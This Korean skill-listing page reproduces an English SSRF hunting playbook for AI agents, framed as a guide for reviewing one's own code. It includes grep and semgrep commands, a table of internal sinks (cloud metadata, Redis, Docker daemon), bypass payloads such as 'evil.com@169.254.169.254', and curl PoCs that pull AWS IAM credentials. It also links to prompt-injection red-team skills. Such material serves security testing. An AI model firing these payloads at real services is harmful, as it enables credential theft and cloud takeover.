ssrf
하는 일
이 스킬은 공격자가 고른 주소로 앱이 요청을 보내도록 속는 서버 측 요청 위조를 찾기 위한 플레이북입니다. 자신의 코드를 검토하는 개발자와 검토자를 위한 스킬입니다.
사용하는 경우
- ✓개발자가 사용자가 보낸 URL을 제한 없이 서버가 가져오는지 확인해 달라고 요청할 때.
- ✓에이전트가 클라우드 메타데이터 주소나 내부 관리 패널을 호출하는 코드를 검토할 때.
- ✓팀이 사용자가 준 주소를 받는 언어별 HTTP 클라이언트 호출 목록을 원하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 허가된 앱에서 사용자가 서버가 내부 주소를 가져오게 만들 수 있는지 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 HTTP 클라이언트 호출을 찾고, 사용자 입력을 그 호출까지 추적하며, 앱이 내부 주소와 클라우드 메타데이터 엔드포인트를 막는지 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
SSRF Hunting Playbook
SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.
1. Sources (user-controlled input that becomes a URL)
Look for any parameter that gets fed into an HTTP client:
- Python:
requests.get(user_url),httpx.get,urllib.request.urlopen,aiohttp.get - Node:
fetch(userUrl),axios.get,http.request,got,node-fetch - Java:
HttpURLConnection,HttpClient.send,URL.openConnection,OkHttpClient - Go:
http.Get(u),http.NewRequest,net.Dial("tcp", u) - Ruby:
Net::HTTP.get,URI.open,Faraday.get - PHP:
file_get_contents($url),curl_exec,fsockopen
Grep patterns to run via bash:
semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src
2. Sinks that make SSRF worth reporting
| Sink | Impact |
|---|---|
http://169.254.169.254/ (AWS IMDS) |
IAM role creds → full AWS takeover |
http://metadata.google.internal/ |
GCP service-account token |
http://169.254.169.254/metadata/v1/ |
Azure IMDS |
http://127.0.0.1:6379/ (Redis) |
Unauthenticated RCE via Lua eval / cron |
http://127.0.0.1:9200/ |
Elasticsearch data leak + RCE |
http://127.0.0.1:2375/ |
Docker daemon — container escape |
gopher://, dict://, file:// |
Protocol smuggling (SMTP, memcached) |
Internal *.svc.cluster.local |
Kubernetes service mesh lateral |
3. Bypass classes (why scanners miss real bugs)
- DNS rebinding — resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
- IPv6 literal —
[::1],[::ffff:127.0.0.1],[::] - Decimal / octal / hex encoding —
0x7f.0.0.1,0177.0.0.1,2130706433 - URL parser confusion —
http://evil.com@169.254.169.254/,http://169.254.169.254#.evil.com/ - IDN unicode tricks — homoglyph domains that normalize to metadata hosts
- Redirect chains — allowlist checks the initial URL, not the 302 target
- IMDSv2 required — but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
- 30x → file:// — server follows redirects across protocols
4. Taint audit workflow
- Enumerate sources with grep + semgrep (above).
- For each hit, follow the data flow manually:
- Is there a
urlparsecheck? Does it check.hostname(spoofable) or the raw URL (safe)? - Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
- Is redirect following disabled?
allow_redirects=Falsein requests.
- Is there a
- Each confirmed source-to-sink path →
kg_add_node(kind="vulnerability", ...). - Link the vuln to its file+line via a code_location node.
5. PoC template
# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}
Success patterns for validate_finding:
AccessKeyIdSecretAccessKeyToken.*[A-Za-z0-9+/]{100,}
Negative control:
- Same request with the URL param blanked or set to
https://example.com/ - Negative patterns:
Missing url,400,example.com
6. Default CVSS for confirmed SSRF
| Variant | CVSS vector | Score |
|---|---|---|
| Blind SSRF, external only | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N | 5.3 |
| SSRF → internal services (no pivot) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 |
| SSRF → cloud metadata → IAM credential | AV:N/AC:L/PR:N/UI:N/S:C/C:H |
자주 묻는 질문
서버 측 요청 위조란 무엇인가요?
서버가 사용자를 대신해, 사용자가 접근하면 안 되는 주소로 요청을 보내는 경우입니다.
왜 영향이 크다고 보나요?
스킬은 클라우드 메타데이터나 내부 관리 도구에 닿아 자격 증명이 노출될 수 있다고 설명합니다.
스킬이 언급하는 우회 방법은 무엇인가요?
간단한 주소 필터를 무력화할 수 있는 DNS 리바인딩 같은 기법을 언급합니다.
상세 정보
작성자의 원본 설명
Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13972
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.